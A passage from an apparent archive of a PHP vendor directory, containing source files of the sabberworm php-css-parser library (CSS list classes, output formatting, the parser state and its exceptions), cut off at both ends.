        $this->aComments = array_merge($this->aComments, $aComments);
    }

    /**
     * @return array<array-key, Comment>
     */
    public function getComments()
    {
        return $this->aComments;
    }

    /**
     * @param array<array-key, Comment> $aComments
     *
     * @return void
     */
    public function setComments(array $aComments)
    {
        $this->aComments = $aComments;
    }
}
vendor/sabberworm/php-css-parser/src/CSSList/CSSBlockList.php000066600000012164151150442740020111 0ustar00<?php

namespace Sabberworm\CSS\CSSList;

use Sabberworm\CSS\Property\Selector;
use Sabberworm\CSS\Rule\Rule;
use Sabberworm\CSS\RuleSet\DeclarationBlock;
use Sabberworm\CSS\RuleSet\RuleSet;
use Sabberworm\CSS\Value\CSSFunction;
use Sabberworm\CSS\Value\Value;
use Sabberworm\CSS\Value\ValueList;

/**
 * A `CSSBlockList` is a `CSSList` whose `DeclarationBlock`s are guaranteed to contain valid declaration blocks or
 * at-rules.
 *
 * Most `CSSList`s conform to this category but some at-rules (such as `@keyframes`) do not.
 */
abstract class CSSBlockList extends CSSList
{
    /**
     * @param int $iLineNo
     */
    public function __construct($iLineNo = 0)
    {
        parent::__construct($iLineNo);
    }

    /**
     * @param array<int, DeclarationBlock> $aResult
     *
     * @return void
     */
    protected function allDeclarationBlocks(array &$aResult)
    {
        foreach ($this->aContents as $mContent) {
            if ($mContent instanceof DeclarationBlock) {
                $aResult[] = $mContent;
            } elseif ($mContent instanceof CSSBlockList) {
                $mContent->allDeclarationBlocks($aResult);
            }
        }
    }

    /**
     * @param array<int, RuleSet> $aResult
     *
     * @return void
     */
    protected function allRuleSets(array &$aResult)
    {
        foreach ($this->aContents as $mContent) {
            if ($mContent instanceof RuleSet) {
                $aResult[] = $mContent;
            } elseif ($mContent instanceof CSSBlockList) {
                $mContent->allRuleSets($aResult);
            }
        }
    }

    /**
     * @param CSSList|Rule|RuleSet|Value $oElement
     * @param array<int, Value> $aResult
     * @param string|null $sSearchString
     * @param bool $bSearchInFunctionArguments
     *
     * @return void
     */
    protected function allValues($oElement, array &$aResult, $sSearchString = null, $bSearchInFunctionArguments = false)
    {
        if ($oElement instanceof CSSBlockList) {
            foreach ($oElement->getContents() as $oContent) {
                $this->allValues($oContent, $aResult, $sSearchString, $bSearchInFunctionArguments);
            }
        } elseif ($oElement instanceof RuleSet) {
            foreach ($oElement->getRules($sSearchString) as $oRule) {
                $this->allValues($oRule, $aResult, $sSearchString, $bSearchInFunctionArguments);
            }
        } elseif ($oElement instanceof Rule) {
            $this->allValues($oElement->getValue(), $aResult, $sSearchString, $bSearchInFunctionArguments);
        } elseif ($oElement instanceof ValueList) {
            if ($bSearchInFunctionArguments || !($oElement instanceof CSSFunction)) {
                foreach ($oElement->getListComponents() as $mComponent) {
                    $this->allValues($mComponent, $aResult, $sSearchString, $bSearchInFunctionArguments);
                }
            }
        } else {
            // Non-List `Value` or `CSSString` (CSS identifier)
            $aResult[] = $oElement;
        }
    }

    /**
     * @param array<int, Selector> $aResult
     * @param string|null $sSpecificitySearch
     *
     * @return void
     */
    protected function allSelectors(array &$aResult, $sSpecificitySearch = null)
    {
        /** @var array<int, DeclarationBlock> $aDeclarationBlocks */
        $aDeclarationBlocks = [];
        $this->allDeclarationBlocks($aDeclarationBlocks);
        foreach ($aDeclarationBlocks as $oBlock) {
            foreach ($oBlock->getSelectors() as $oSelector) {
                if ($sSpecificitySearch === null) {
                    $aResult[] = $oSelector;
                } else {
                    $sComparator = '===';
                    $aSpecificitySearch = explode(' ', $sSpecificitySearch);
                    $iTargetSpecificity = $aSpecificitySearch[0];
                    if (count($aSpecificitySearch) > 1) {
                        $sComparator = $aSpecificitySearch[0];
                        $iTargetSpecificity = $aSpecificitySearch[1];
                    }
                    $iTargetSpecificity = (int)$iTargetSpecificity;
                    $iSelectorSpecificity = $oSelector->getSpecificity();
                    $bMatches = false;
                    switch ($sComparator) {
                        case '<=':
                            $bMatches = $iSelectorSpecificity <= $iTargetSpecificity;
                            break;
                        case '<':
                            $bMatches = $iSelectorSpecificity < $iTargetSpecificity;
                            break;
                        case '>=':
                            $bMatches = $iSelectorSpecificity >= $iTargetSpecificity;
                            break;
                        case '>':
                            $bMatches = $iSelectorSpecificity > $iTargetSpecificity;
                            break;
                        default:
                            $bMatches = $iSelectorSpecificity === $iTargetSpecificity;
                            break;
                    }
                    if ($bMatches) {
                        $aResult[] = $oSelector;
                    }
                }
            }
        }
    }
}
vendor/sabberworm/php-css-parser/src/CSSList/Document.php000066600000012112151150442740017421 0ustar00<?php

namespace Sabberworm\CSS\CSSList;

use Sabberworm\CSS\OutputFormat;
use Sabberworm\CSS\Parsing\ParserState;
use Sabberworm\CSS\Parsing\SourceException;
use Sabberworm\CSS\Property\Selector;
use Sabberworm\CSS\RuleSet\DeclarationBlock;
use Sabberworm\CSS\RuleSet\RuleSet;
use Sabberworm\CSS\Value\Value;

/**
 * This class represents the root of a parsed CSS file. It contains all top-level CSS contents: mostly declaration
 * blocks, but also any at-rules encountered (`Import` and `Charset`).
 */
class Document extends CSSBlockList
{
    /**
     * @param int $iLineNo
     */
    public function __construct($iLineNo = 0)
    {
        parent::__construct($iLineNo);
    }

    /**
     * @return Document
     *
     * @throws SourceException
     */
    public static function parse(ParserState $oParserState)
    {
        $oDocument = new Document($oParserState->currentLine());
        CSSList::parseList($oParserState, $oDocument);
        return $oDocument;
    }

    /**
     * Gets all `DeclarationBlock` objects recursively, no matter how deeply nested the selectors are.
     * Aliased as `getAllSelectors()`.
     *
     * @return array<int, DeclarationBlock>
     */
    public function getAllDeclarationBlocks()
    {
        /** @var array<int, DeclarationBlock> $aResult */
        $aResult = [];
        $this->allDeclarationBlocks($aResult);
        return $aResult;
    }

    /**
     * Gets all `DeclarationBlock` objects recursively.
     *
     * @return array<int, DeclarationBlock>
     *
     * @deprecated will be removed in version 9.0; use `getAllDeclarationBlocks()` instead
     */
    public function getAllSelectors()
    {
        return $this->getAllDeclarationBlocks();
    }

    /**
     * Returns all `RuleSet` objects recursively found in the tree, no matter how deeply nested the rule sets are.
     *
     * @return array<int, RuleSet>
     */
    public function getAllRuleSets()
    {
        /** @var array<int, RuleSet> $aResult */
        $aResult = [];
        $this->allRuleSets($aResult);
        return $aResult;
    }

    /**
     * Returns all `Value` objects found recursively in `Rule`s in the tree.
     *
     * @param CSSList|RuleSet|string $mElement
     *        the `CSSList` or `RuleSet` to start the search from (defaults to the whole document).
     *        If a string is given, it is used as rule name filter.
     * @param bool $bSearchInFunctionArguments whether to also return Value objects used as Function arguments.
     *
     * @return array<int, Value>
     *
     * @see RuleSet->getRules()
     */
    public function getAllValues($mElement = null, $bSearchInFunctionArguments = false)
    {
        $sSearchString = null;
        if ($mElement === null) {
            $mElement = $this;
        } elseif (is_string($mElement)) {
            $sSearchString = $mElement;
            $mElement = $this;
        }
        /** @var array<int, Value> $aResult */
        $aResult = [];
        $this->allValues($mElement, $aResult, $sSearchString, $bSearchInFunctionArguments);
        return $aResult;
    }

    /**
     * Returns all `Selector` objects with the requested specificity found recursively in the tree.
     *
     * Note that this does not yield the full `DeclarationBlock` that the selector belongs to
     * (and, currently, there is no way to get to that).
     *
     * @param string|null $sSpecificitySearch
     *        An optional filter by specificity.
     *        May contain a comparison operator and a number or just a number (defaults to "==").
     *
     * @return array<int, Selector>
     * @example `getSelectorsBySpecificity('>= 100')`
     *
     */
    public function getSelectorsBySpecificity($sSpecificitySearch = null)
    {
        /** @var array<int, Selector> $aResult */
        $aResult = [];
        $this->allSelectors($aResult, $sSpecificitySearch);
        return $aResult;
    }

    /**
     * Expands all shorthand properties to their long value.
     *
     * @return void
     *
     * @deprecated since 8.7.0, will be removed without substitution in version 9.0 in #511
     */
    public function expandShorthands()
    {
        foreach ($this->getAllDeclarationBlocks() as $oDeclaration) {
            $oDeclaration->expandShorthands();
        }
    }

    /**
     * Create shorthands properties whenever possible.
     *
     * @return void
     *
     * @deprecated since 8.7.0, will be removed without substitution in version 9.0 in #511
     */
    public function createShorthands()
    {
        foreach ($this->getAllDeclarationBlocks() as $oDeclaration) {
            $oDeclaration->createShorthands();
        }
    }

    /**
     * Overrides `render()` to make format argument optional.
     *
     * @param OutputFormat|null $oOutputFormat
     *
     * @return string
     */
    public function render($oOutputFormat = null)
    {
        if ($oOutputFormat === null) {
            $oOutputFormat = new OutputFormat();
        }
        return $oOutputFormat->comments($this) . $this->renderListContents($oOutputFormat);
    }

    /**
     * @return bool
     */
    public function isRootList()
    {
        return true;
    }
}
vendor/sabberworm/php-css-parser/src/OutputFormat.php000066600000017645151150442740017050 0ustar00<?php

namespace Sabberworm\CSS;

/**
 * Class OutputFormat
 *
 * @method OutputFormat setSemicolonAfterLastRule(bool $bSemicolonAfterLastRule) Set whether semicolons are added after
 *     last rule.
 */
class OutputFormat
{
    /**
     * Value format: `"` means double-quote, `'` means single-quote
     *
     * @var string
     */
    public $sStringQuotingType = '"';

    /**
     * Output RGB colors in hash notation if possible
     *
     * @var string
     */
    public $bRGBHashNotation = true;

    /**
     * Declaration format
     *
     * Semicolon after the last rule of a declaration block can be omitted. To do that, set this false.
     *
     * @var bool
     */
    public $bSemicolonAfterLastRule = true;

    /**
     * Spacing
     * Note that these strings are not sanity-checked: the value should only consist of whitespace
     * Any newline character will be indented according to the current level.
     * The triples (After, Before, Between) can be set using a wildcard (e.g. `$oFormat->set('Space*Rules', "\n");`)
     */
    public $sSpaceAfterRuleName = ' ';

    /**
     * @var string
     */
    public $sSpaceBeforeRules = '';

    /**
     * @var string
     */
    public $sSpaceAfterRules = '';

    /**
     * @var string
     */
    public $sSpaceBetweenRules = '';

    /**
     * @var string
     */
    public $sSpaceBeforeBlocks = '';

    /**
     * @var string
     */
    public $sSpaceAfterBlocks = '';

    /**
     * @var string
     */
    public $sSpaceBetweenBlocks = "\n";

    /**
     * Content injected in and around at-rule blocks.
     *
     * @var string
     */
    public $sBeforeAtRuleBlock = '';

    /**
     * @var string
     */
    public $sAfterAtRuleBlock = '';

    /**
     * This is what’s printed before and after the comma if a declaration block contains multiple selectors.
     *
     * @var string
     */
    public $sSpaceBeforeSelectorSeparator = '';

    /**
     * @var string
     */
    public $sSpaceAfterSelectorSeparator = ' ';

    /**
     * This is what’s printed after the comma of value lists
     *
     * @var string
     */
    public $sSpaceBeforeListArgumentSeparator = '';

    /**
     * @var string
     */
    public $sSpaceAfterListArgumentSeparator = '';

    /**
     * @var string
     */
    public $sSpaceBeforeOpeningBrace = ' ';

    /**
     * Content injected in and around declaration blocks.
     *
     * @var string
     */
    public $sBeforeDeclarationBlock = '';

    /**
     * @var string
     */
    public $sAfterDeclarationBlockSelectors = '';

    /**
     * @var string
     */
    public $sAfterDeclarationBlock = '';

    /**
     * Indentation character(s) per level. Only applicable if newlines are used in any of the spacing settings.
     *
     * @var string
     */
    public $sIndentation = "\t";

    /**
     * Output exceptions.
     *
     * @var bool
     */
    public $bIgnoreExceptions = false;

    /**
     * Render comments for lists and RuleSets
     *
     * @var bool
     */
    public $bRenderComments = false;

    /**
     * @var OutputFormatter|null
     */
    private $oFormatter = null;

    /**
     * @var OutputFormat|null
     */
    private $oNextLevelFormat = null;

    /**
     * @var int
     */
    private $iIndentationLevel = 0;

    public function __construct()
    {
    }

    /**
     * @param string $sName
     *
     * @return string|null
     */
    public function get($sName)
    {
        $aVarPrefixes = ['a', 's', 'm', 'b', 'f', 'o', 'c', 'i'];
        foreach ($aVarPrefixes as $sPrefix) {
            $sFieldName = $sPrefix . ucfirst($sName);
            if (isset($this->$sFieldName)) {
                return $this->$sFieldName;
            }
        }
        return null;
    }

    /**
     * @param array<array-key, string>|string $aNames
     * @param mixed $mValue
     *
     * @return self|false
     */
    public function set($aNames, $mValue)
    {
        $aVarPrefixes = ['a', 's', 'm', 'b', 'f', 'o', 'c', 'i'];
        if (is_string($aNames) && strpos($aNames, '*') !== false) {
            $aNames =
                [
                    str_replace('*', 'Before', $aNames),
                    str_replace('*', 'Between', $aNames),
                    str_replace('*', 'After', $aNames),
                ];
        } elseif (!is_array($aNames)) {
            $aNames = [$aNames];
        }
        foreach ($aVarPrefixes as $sPrefix) {
            $bDidReplace = false;
            foreach ($aNames as $sName) {
                $sFieldName = $sPrefix . ucfirst($sName);
                if (isset($this->$sFieldName)) {
                    $this->$sFieldName = $mValue;
                    $bDidReplace = true;
                }
            }
            if ($bDidReplace) {
                return $this;
            }
        }
        // Break the chain so the user knows this option is invalid
        return false;
    }

    /**
     * @param string $sMethodName
     * @param array<array-key, mixed> $aArguments
     *
     * @return mixed
     *
     * @throws \Exception
     */
    public function __call($sMethodName, array $aArguments)
    {
        if (strpos($sMethodName, 'set') === 0) {
            return $this->set(substr($sMethodName, 3), $aArguments[0]);
        } elseif (strpos($sMethodName, 'get') === 0) {
            return $this->get(substr($sMethodName, 3));
        } elseif (method_exists(OutputFormatter::class, $sMethodName)) {
            return call_user_func_array([$this->getFormatter(), $sMethodName], $aArguments);
        } else {
            throw new \Exception('Unknown OutputFormat method called: ' . $sMethodName);
        }
    }

    /**
     * @param int $iNumber
     *
     * @return self
     */
    public function indentWithTabs($iNumber = 1)
    {
        return $this->setIndentation(str_repeat("\t", $iNumber));
    }

    /**
     * @param int $iNumber
     *
     * @return self
     */
    public function indentWithSpaces($iNumber = 2)
    {
        return $this->setIndentation(str_repeat(" ", $iNumber));
    }

    /**
     * @return OutputFormat
     */
    public function nextLevel()
    {
        if ($this->oNextLevelFormat === null) {
            $this->oNextLevelFormat = clone $this;
            $this->oNextLevelFormat->iIndentationLevel++;
            $this->oNextLevelFormat->oFormatter = null;
        }
        return $this->oNextLevelFormat;
    }

    /**
     * @return void
     */
    public function beLenient()
    {
        $this->bIgnoreExceptions = true;
    }

    /**
     * @return OutputFormatter
     */
    public function getFormatter()
    {
        if ($this->oFormatter === null) {
            $this->oFormatter = new OutputFormatter($this);
        }
        return $this->oFormatter;
    }

    /**
     * @return int
     */
    public function level()
    {
        return $this->iIndentationLevel;
    }

    /**
     * Creates an instance of this class without any particular formatting settings.
     *
     * @return self
     */
    public static function create()
    {
        return new OutputFormat();
    }

    /**
     * Creates an instance of this class with a preset for compact formatting.
     *
     * @return self
     */
    public static function createCompact()
    {
        $format = self::create();
        $format->set('Space*Rules', "")
            ->set('Space*Blocks', "")
            ->setSpaceAfterRuleName('')
            ->setSpaceBeforeOpeningBrace('')
            ->setSpaceAfterSelectorSeparator('')
            ->setRenderComments(false);
        return $format;
    }

    /**
     * Creates an instance of this class with a preset for pretty formatting.
     *
     * @return self
     */
    public static function createPretty()
    {
        $format = self::create();
        $format->set('Space*Rules', "\n")
            ->set('Space*Blocks', "\n")
            ->setSpaceBetweenBlocks("\n\n")
            ->set('SpaceAfterListArgumentSeparator', ['default' => '', ',' => ' '])
            ->setRenderComments(true);
        return $format;
    }
}
vendor/sabberworm/php-css-parser/src/Renderable.php000066600000000521151150442740016423 0ustar00<?php

namespace Sabberworm\CSS;

interface Renderable
{
    /**
     * @return string
     */
    public function __toString();

    /**
     * @param OutputFormat|null $oOutputFormat
     *
     * @return string
     */
    public function render($oOutputFormat);

    /**
     * @return int
     */
    public function getLineNo();
}
vendor/sabberworm/php-css-parser/src/Parsing/OutputException.php000066600000000546151150442740021151 0ustar00<?php

namespace Sabberworm\CSS\Parsing;

/**
 * Thrown if the CSS parser attempts to print something invalid.
 */
class OutputException extends SourceException
{
    /**
     * @param string $sMessage
     * @param int $iLineNo
     */
    public function __construct($sMessage, $iLineNo = 0)
    {
        parent::__construct($sMessage, $iLineNo);
    }
}
vendor/sabberworm/php-css-parser/src/Parsing/SourceException.php000066600000001062151150442740021103 0ustar00<?php

namespace Sabberworm\CSS\Parsing;

class SourceException extends \Exception
{
    /**
     * @var int
     */
    private $iLineNo;

    /**
     * @param string $sMessage
     * @param int $iLineNo
     */
    public function __construct($sMessage, $iLineNo = 0)
    {
        $this->iLineNo = $iLineNo;
        if (!empty($iLineNo)) {
            $sMessage .= " [line no: $iLineNo]";
        }
        parent::__construct($sMessage);
    }

    /**
     * @return int
     */
    public function getLineNo()
    {
        return $this->iLineNo;
    }
}
vendor/sabberworm/php-css-parser/src/Parsing/ParserState.php000066600000034037151150442740020231 0ustar00<?php

namespace Sabberworm\CSS\Parsing;

use Sabberworm\CSS\Comment\Comment;
use Sabberworm\CSS\Settings;

/**
 * @internal since 8.7.0
 */
class ParserState
{
    /**
     * @var null
     *
     * @internal since 8.5.2
     */
    const EOF = null;

    /**
     * @var Settings
     */
    private $oParserSettings;

    /**
     * @var string
     */
    private $sText;

    /**
     * @var array<int, string>
     */
    private $aText;

    /**
     * @var int
     */
    private $iCurrentPosition;

    /**
     * will only be used if the CSS does not contain an `@charset` declaration
     *
     * @var string
     */
    private $sCharset;

    /**
     * @var int
     */
    private $iLength;

    /**
     * @var int
     */
    private $iLineNo;

    /**
     * @param string $sText the complete CSS as text (i.e., usually the contents of a CSS file)
     * @param int $iLineNo
     */
    public function __construct($sText, Settings $oParserSettings, $iLineNo = 1)
    {
        $this->oParserSettings = $oParserSettings;
        $this->sText = $sText;
        $this->iCurrentPosition = 0;
        $this->iLineNo = $iLineNo;
        $this->setCharset($this->oParserSettings->sDefaultCharset);
    }

    /**
     * Sets the charset to be used if the CSS does not contain an `@charset` declaration.
     *
     * @param string $sCharset
     *
     * @return void
     */
    public function setCharset($sCharset)
    {
        $this->sCharset = $sCharset;
        $this->aText = $this->strsplit($this->sText);
        if (is_array($this->aText)) {
            $this->iLength = count($this->aText);
        }
    }

    /**
     * Returns the charset that is used if the CSS does not contain an `@charset` declaration.
     *
     * @return string
     */
    public function getCharset()
    {
        return $this->sCharset;
    }

    /**
     * @return int
     */
    public function currentLine()
    {
        return $this->iLineNo;
    }

    /**
     * @return int
     */
    public function currentColumn()
    {
        return $this->iCurrentPosition;
    }

    /**
     * @return Settings
     */
    public function getSettings()
    {
        return $this->oParserSettings;
    }

    /**
     * @return \Sabberworm\CSS\Parsing\Anchor
     */
    public function anchor()
    {
        return new Anchor($this->iCurrentPosition, $this);
    }

    /**
     * @param int $iPosition
     *
     * @return void
     */
    public function setPosition($iPosition)
    {
        $this->iCurrentPosition = $iPosition;
    }

    /**
     * @param bool $bIgnoreCase
     *
     * @return string
     *
     * @throws UnexpectedTokenException
     */
    public function parseIdentifier($bIgnoreCase = true)
    {
        if ($this->isEnd()) {
            throw new UnexpectedEOFException('', '', 'identifier', $this->iLineNo);
        }
        $sResult = $this->parseCharacter(true);
        if ($sResult === null) {
            throw new UnexpectedTokenException($sResult, $this->peek(5), 'identifier', $this->iLineNo);
        }
        $sCharacter = null;
        while (!$this->isEnd() && ($sCharacter = $this->parseCharacter(true)) !== null) {
            if (preg_match('/[a-zA-Z0-9\x{00A0}-\x{FFFF}_-]/Sux', $sCharacter)) {
                $sResult .= $sCharacter;
            } else {
                $sResult .= '\\' . $sCharacter;
            }
        }
        if ($bIgnoreCase) {
            $sResult = $this->strtolower($sResult);
        }
        return $sResult;
    }

    /**
     * @param bool $bIsForIdentifier
     *
     * @return string|null
     *
     * @throws UnexpectedEOFException
     * @throws UnexpectedTokenException
     */
    public function parseCharacter($bIsForIdentifier)
    {
        if ($this->peek() === '\\') {
            if (
                $bIsForIdentifier && $this->oParserSettings->bLenientParsing
                && ($this->comes('\0') || $this->comes('\9'))
            ) {
                // Non-strings can contain \0 or \9 which is an IE hack supported in lenient parsing.
                return null;
            }
            $this->consume('\\');
            if ($this->comes('\n') || $this->comes('\r')) {
                return '';
            }
            if (preg_match('/[0-9a-fA-F]/Su', $this->peek()) === 0) {
                return $this->consume(1);
            }
            $sUnicode = $this->consumeExpression('/^[0-9a-fA-F]{1,6}/u', 6);
            if ($this->strlen($sUnicode) < 6) {
                // Consume whitespace after incomplete unicode escape
                if (preg_match('/\\s/isSu', $this->peek())) {
                    if ($this->comes('\r\n')) {
                        $this->consume(2);
                    } else {
                        $this->consume(1);
                    }
                }
            }
            $iUnicode = intval($sUnicode, 16);
            $sUtf32 = "";
            for ($i = 0; $i < 4; ++$i) {
                $sUtf32 .= chr($iUnicode & 0xff);
                $iUnicode = $iUnicode >> 8;
            }
            return iconv('utf-32le', $this->sCharset, $sUtf32);
        }
        if ($bIsForIdentifier) {
            $peek = ord($this->peek());
            // Ranges: a-z A-Z 0-9 - _
            if (
                ($peek >= 97 && $peek <= 122)
                || ($peek >= 65 && $peek <= 90)
                || ($peek >= 48 && $peek <= 57)
                || ($peek === 45)
                || ($peek === 95)
                || ($peek > 0xa1)
            ) {
                return $this->consume(1);
            }
        } else {
            return $this->consume(1);
        }
        return null;
    }

    /**
     * @return array<int, Comment>|void
     *
     * @throws UnexpectedEOFException
     * @throws UnexpectedTokenException
     */
    public function consumeWhiteSpace()
    {
        $aComments = [];
        do {
            while (preg_match('/\\s/isSu', $this->peek()) === 1) {
                $this->consume(1);
            }
            if ($this->oParserSettings->bLenientParsing) {
                try {
                    $oComment = $this->consumeComment();
                } catch (UnexpectedEOFException $e) {
                    $this->iCurrentPosition = $this->iLength;
                    return $aComments;
                }
            } else {
                $oComment = $this->consumeComment();
            }
            if ($oComment !== false) {
                $aComments[] = $oComment;
            }
        } while ($oComment !== false);
        return $aComments;
    }

    /**
     * @param string $sString
     * @param bool $bCaseInsensitive
     *
     * @return bool
     */
    public function comes($sString, $bCaseInsensitive = false)
    {
        $sPeek = $this->peek(strlen($sString));
        return ($sPeek == '')
            ? false
            : $this->streql($sPeek, $sString, $bCaseInsensitive);
    }

    /**
     * @param int $iLength
     * @param int $iOffset
     *
     * @return string
     */
    public function peek($iLength = 1, $iOffset = 0)
    {
        $iOffset += $this->iCurrentPosition;
        if ($iOffset >= $this->iLength) {
            return '';
        }
        return $this->substr($iOffset, $iLength);
    }

    /**
     * @param int $mValue
     *
     * @return string
     *
     * @throws UnexpectedEOFException
     * @throws UnexpectedTokenException
     */
    public function consume($mValue = 1)
    {
        if (is_string($mValue)) {
            $iLineCount = substr_count($mValue, "\n");
            $iLength = $this->strlen($mValue);
            if (!$this->streql($this->substr($this->iCurrentPosition, $iLength), $mValue)) {
                throw new UnexpectedTokenException($mValue, $this->peek(max($iLength, 5)), $this->iLineNo);
            }
            $this->iLineNo += $iLineCount;
            $this->iCurrentPosition += $this->strlen($mValue);
            return $mValue;
        } else {
            if ($this->iCurrentPosition + $mValue > $this->iLength) {
                throw new UnexpectedEOFException($mValue, $this->peek(5), 'count', $this->iLineNo);
            }
            $sResult = $this->substr($this->iCurrentPosition, $mValue);
            $iLineCount = substr_count($sResult, "\n");
            $this->iLineNo += $iLineCount;
            $this->iCurrentPosition += $mValue;
            return $sResult;
        }
    }

    /**
     * @param string $mExpression
     * @param int|null $iMaxLength
     *
     * @return string
     *
     * @throws UnexpectedEOFException
     * @throws UnexpectedTokenException
     */
    public function consumeExpression($mExpression, $iMaxLength = null)
    {
        $aMatches = null;
        $sInput = $iMaxLength !== null ? $this->peek($iMaxLength) : $this->inputLeft();
        if (preg_match($mExpression, $sInput, $aMatches, PREG_OFFSET_CAPTURE) === 1) {
            return $this->consume($aMatches[0][0]);
        }
        throw new UnexpectedTokenException($mExpression, $this->peek(5), 'expression', $this->iLineNo);
    }

    /**
     * @return Comment|false
     */
    public function consumeComment()
    {
        $mComment = false;
        if ($this->comes('/*')) {
            $iLineNo = $this->iLineNo;
            $this->consume(1);
            $mComment = '';
            while (($char = $this->consume(1)) !== '') {
                $mComment .= $char;
                if ($this->comes('*/')) {
                    $this->consume(2);
                    break;
                }
            }
        }

        if ($mComment !== false) {
            // We skip the * which was included in the comment.
            return new Comment(substr($mComment, 1), $iLineNo);
        }

        return $mComment;
    }

    /**
     * @return bool
     */
    public function isEnd()
    {
        return $this->iCurrentPosition >= $this->iLength;
    }

    /**
     * @param array<array-key, string>|string $aEnd
     * @param string $bIncludeEnd
     * @param string $consumeEnd
     * @param array<int, Comment> $comments
     *
     * @return string
     *
     * @throws UnexpectedEOFException
     * @throws UnexpectedTokenException
     */
    public function consumeUntil($aEnd, $bIncludeEnd = false, $consumeEnd = false, array &$comments = [])
    {
        $aEnd = is_array($aEnd) ? $aEnd : [$aEnd];
        $out = '';
        $start = $this->iCurrentPosition;

        while (!$this->isEnd()) {
            $char = $this->consume(1);
            if (in_array($char, $aEnd)) {
                if ($bIncludeEnd) {
                    $out .= $char;
                } elseif (!$consumeEnd) {
                    $this->iCurrentPosition -= $this->strlen($char);
                }
                return $out;
            }
            $out .= $char;
            if ($comment = $this->consumeComment()) {
                $comments[] = $comment;
            }
        }

        if (in_array(self::EOF, $aEnd)) {
            return $out;
        }

        $this->iCurrentPosition = $start;
        throw new UnexpectedEOFException(
            'One of ("' . implode('","', $aEnd) . '")',
            $this->peek(5),
            'search',
            $this->iLineNo
        );
    }

    /**
     * @return string
     */
    private function inputLeft()
    {
        return $this->substr($this->iCurrentPosition, -1);
    }

    /**
     * @param string $sString1
     * @param string $sString2
     * @param bool $bCaseInsensitive
     *
     * @return bool
     */
    public function streql($sString1, $sString2, $bCaseInsensitive = true)
    {
        if ($bCaseInsensitive) {
            return $this->strtolower($sString1) === $this->strtolower($sString2);
        } else {
            return $sString1 === $sString2;
        }
    }

    /**
     * @param int $iAmount
     *
     * @return void
     */
    public function backtrack($iAmount)
    {
        $this->iCurrentPosition -= $iAmount;
    }

    /**
     * @param string $sString
     *
     * @return int
     */
    public function strlen($sString)
    {
        if ($this->oParserSettings->bMultibyteSupport) {
            return mb_strlen($sString, $this->sCharset);
        } else {
            return strlen($sString);
        }
    }

    /**
     * @param int $iStart
     * @param int $iLength
     *
     * @return string
     */
    private function substr($iStart, $iLength)
    {
        if ($iLength < 0) {
            $iLength = $this->iLength - $iStart + $iLength;
        }
        if ($iStart + $iLength > $this->iLength) {
            $iLength = $this->iLength - $iStart;
        }
        $sResult = '';
        while ($iLength > 0) {
            $sResult .= $this->aText[$iStart];
            $iStart++;
            $iLength--;
        }
        return $sResult;
    }

    /**
     * @param string $sString
     *
     * @return string
     */
    private function strtolower($sString)
    {
        if ($this->oParserSettings->bMultibyteSupport) {
            return mb_strtolower($sString, $this->sCharset);
        } else {
            return strtolower($sString);
        }
    }

    /**
     * @param string $sString
     *
     * @return array<int, string>
     */
    private function strsplit($sString)
    {
        if ($this->oParserSettings->bMultibyteSupport) {
            if ($this->streql($this->sCharset, 'utf-8')) {
                return preg_split('//u', $sString, -1, PREG_SPLIT_NO_EMPTY);
            } else {
                $iLength = mb_strlen($sString, $this->sCharset);
                $aResult = [];
                for ($i = 0; $i < $iLength; ++$i) {
                    $aResult[] = mb_substr($sString, $i, 1, $this->sCharset);
                }
                return $aResult;
            }
        } else {
            if ($sString === '') {
                return [];
            } else {
                return str_split($sString);
            }
        }
    }

    /**
     * @param string $sString
     * @param string $sNeedle
     * @param int $iOffset
     *
     * @return int|false
     */
    private function strpos($sString, $sNeedle, $iOffset)
    {
        if ($this->oParserSettings->bMultibyteSupport) {
            return mb_strpos($sString, $sNeedle, $iOffset, $this->sCharset);
        } else {
            return strpos($sString, $sNeedle, $iOffset);
        }
    }
}
vendor/sabberworm/php-css-parser/src/Parsing/UnexpectedEOFException.php000066600000000421151150442740022277 0ustar00<?php

namespace Sabberworm\CSS\Parsing;

/**
 * Thrown if the CSS parser encounters end of file it did not expect.
 *
 * Extends `UnexpectedTokenException` in order to preserve backwards compatibility.
 */
class UnexpectedEOFException extends UnexpectedTokenException
{
}
vendor/sabberworm/php-css-parser/src/Parsing/Anchor.php000066600000001222151150442740017174 0ustar00<?php

namespace Sabberworm\CSS\Parsing;

/**
 * @internal since 8.7.0
 */
class Anchor
{
    /**
     * @var int
     */
    private $iPosition;

    /**
     * @var \Sabberworm\CSS\Parsing\ParserState
     */
    private $oParserState;

    /**
     * @param int $iPosition
     * @param \Sabberworm\CSS\Parsing\ParserState $oParserState
     */
    public function __construct($iPosition, ParserState $oParserState)
    {
        $this->iPosition = $iPosition;
        $this->oParserState = $oParserState;
    }

    /**
     * @return void
     */
    public function backtrack()
    {
        $this->oParserState->setPosition($this->iPosition);
    }
}
vendor/sabberworm/php-css-parser/src/Parsing/UnexpectedTokenException.php000066600000002704151150442740022754 0ustar00<?php

namespace Sabberworm\CSS\Parsing;

/**
 * Thrown if the CSS parser encounters a token it did not expect.
 */
class UnexpectedTokenException extends SourceException
{
    /**
     * @var string
     */
    private $sExpected;

    /**
     * @var string
     */
    private $sFound;

    /**
     * Possible values: literal, identifier, count, expression, search
     *
     * @var string
     */
    private $sMatchType;

    /**
     * @param string $sExpected
     * @param string $sFound
     * @param string $sMatchType
     * @param int $iLineNo
     */
    public function __construct($sExpected, $sFound, $sMatchType = 'literal', $iLineNo = 0)
    {
        $this->sExpected = $sExpected;
        $this->sFound = $sFound;
        $this->sMatchType = $sMatchType;
        $sMessage = "Token “{$sExpected}” ({$sMatchType}) not found. Got “{$sFound}”.";
        if ($this->sMatchType === 'search') {
            $sMessage = "Search for “{$sExpected}” returned no results. Context: “{$sFound}”.";
        } elseif ($this->sMatchType === 'count') {
            $sMessage = "Next token was expected to have {$sExpected} chars. Context: “{$sFound}”.";
        } elseif ($this->sMatchType === 'identifier') {
            $sMessage = "Identifier expected. Got “{$sFound}”";
        } elseif ($this->sMatchType === 'custom') {
            $sMessage = trim("$sExpected $sFound");
        }

        parent::__construct($sMessage, $iLineNo);
    }
}
vendor/sabberworm/php-css-parser/src/Settings.php000066600000004610151150442740016163 0ustar00<?php

namespace Sabberworm\CSS;

/**
 * Parser settings class.
 *
 * Configure parser behaviour here.
 */
class Settings
{
    /**
     * Multi-byte string support.
     *
     * If `true` (`mbstring` extension must be enabled), will use (slower) `mb_strlen`, `mb_convert_case`, `mb_substr`
     * and `mb_strpos` functions. Otherwise, the normal (ASCII-Only) functions will be used.
     *
     * @var bool
     */
    public $bMultibyteSupport;

    /**
